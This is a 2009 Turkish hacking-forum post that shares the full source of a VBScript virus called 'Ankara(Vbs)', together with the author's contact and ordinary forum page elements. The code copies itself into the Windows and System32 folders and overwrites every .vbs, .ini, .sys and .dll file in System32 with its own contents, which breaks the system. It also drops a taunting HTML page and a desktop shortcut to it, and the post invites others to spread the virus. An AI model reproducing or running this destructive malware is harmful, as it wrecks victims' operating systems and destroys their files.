Süper Bir Virüs Daha

**yuzdeyuzTURK** · 07-12-09, 04:38 AM

Virüsü Ben Yazdım Deyip, 2 Kodu 1 Araya Getiremeyen Ters Yönlü Arkadaşlar, Ben Yaptım Deyip Sürebilirler Piyasaya
Virüsün Adı : Ankara(Vbs)
Kısaca İşlevi;
System32'de Bulunan Vbs, Inı, Sys Gibi Dosya Türlerinin İçeriğine Kendisini Enjekte Eder Ve Sistemi Çalışmaz Hale Getirir.
Çalışmıyo Vb SoruLar ; gozyasi---@hotmail.com

Kod:

Rem // Ankara(Vbs) - You Must Come To Ankara!
Rem // By: gozyasi---@hotmail.com
Dim c1, c2, c3, c4, c5
Set c1 = CreateObject ("Scripting.FileSystemObject")
Set c2 = c1.GetSpeciAlFolder(0)
Set c3 = c1.GetSpeciAlFolder(1)
Set c4 = c1.GetFile (Wscript.ScriptFullName)
c4.Copy (c2 & "\winL0rd.html")
c4.Copy (c3 & "\Ankara.vbs")
Set c5 = c1.OpenTextFile(c2 & "\winL0rd.html", 2, True)
c5.WriteLine "<Html><Head><Title>Warning!</title></Head><Body BgColor=" & """#000000""" & "><P Align=" & """Center""" & "><B><Font Face=" & """Verdana""" & " Size=" & """6""" & " Color=" & """#44F44""" & ">Warning!</Font></B><Br><Br><Font Face=" & """Verdana""" & " Size=" & """2""" & " Color=" & """#44FF44""" & ">I Can Destroy Your Computer, You Are Come To (ANKARA)</Font><Br><Br><Font Face=" & """Verdana""" & " Size=" & """2""" & " Color=" & """#44FF44""" & ">By: gozyasi---@hotmail.com</Font></P></Body></Html>"
Devam()
Sub Devam()
Dim  c6, c7, c8, c9, c10
Set c6 = c1.OpenTextFile(WScript.ScriptFullName)
Set c7 = c1.GetSpecialFolder(1)
Set c8 = c1.GetFolder(c7)
Set c9 = c8.Files
c14 = c6.ReadAll
For each Ben in c9
uzanti = c1.GetExtensionName(Ben.path)
If (uzanti = "vbs") or  (uzanti = "ini") or (uzanti = "sys") or (uzanti = "dll") Then
Set c10 = c1.OpenTextFile(Ben.path, 2, True)
c10.Write (c14)
c10.Close
End If
Next
Kyol()
End Sub
Sub Kyol()
Dim c11, c12, c13
set c11 = WScript.CreateObject("WScript.Shell")
c12 = c11.SpecialFolders("Desktop")
set c13 = c11.CreateShortcut(c12 & "\Oku Bunu.Url")
c13.TargetPath = (c2 & "\winL0rd.html")
c13.Save
Rem // Ankara(vbs)
End Sub

Seçenekler
Yazdırılabilir şekli göster Sayfayı E-Mail olarak gönder
Stil
Normal Hybrid-Şeklinde gösterime geç Ağaç şeklinde gösterime geç

Benzer Konular
Konu	Konuyu Başlatan	Forum	Cevaplar	Son Mesaj
hangi anti virüs programı daha iyi?	Sefikking	Güvenlik Programları	1	01-09-09 01:52 PM
Süper Bi' Remix Daha (OGG)	sivri-sinek	Mobil Sesler Waw,Mid,Poli ve Amr	2	01-08-09 12:56 PM
süper virüs tarama programı	Sefikking	Güvenlik Programları	0	02-07-09 04:51 PM
DJ Tuncay %100 FL Melo The Love Süper Ötesi bir Şarkı Daha	sivri-sinek	Mobil Sesler Waw,Mid,Poli ve Amr	0	05-06-09 10:43 PM
Süper Bi' Remix Daha (OGG)	KimseDegilim	Mobil Sesler Waw,Mid,Poli ve Amr	0	17-09-08 05:35 PM

Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir)

Süper Bir Virüs Daha

Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir)

Benzer Konular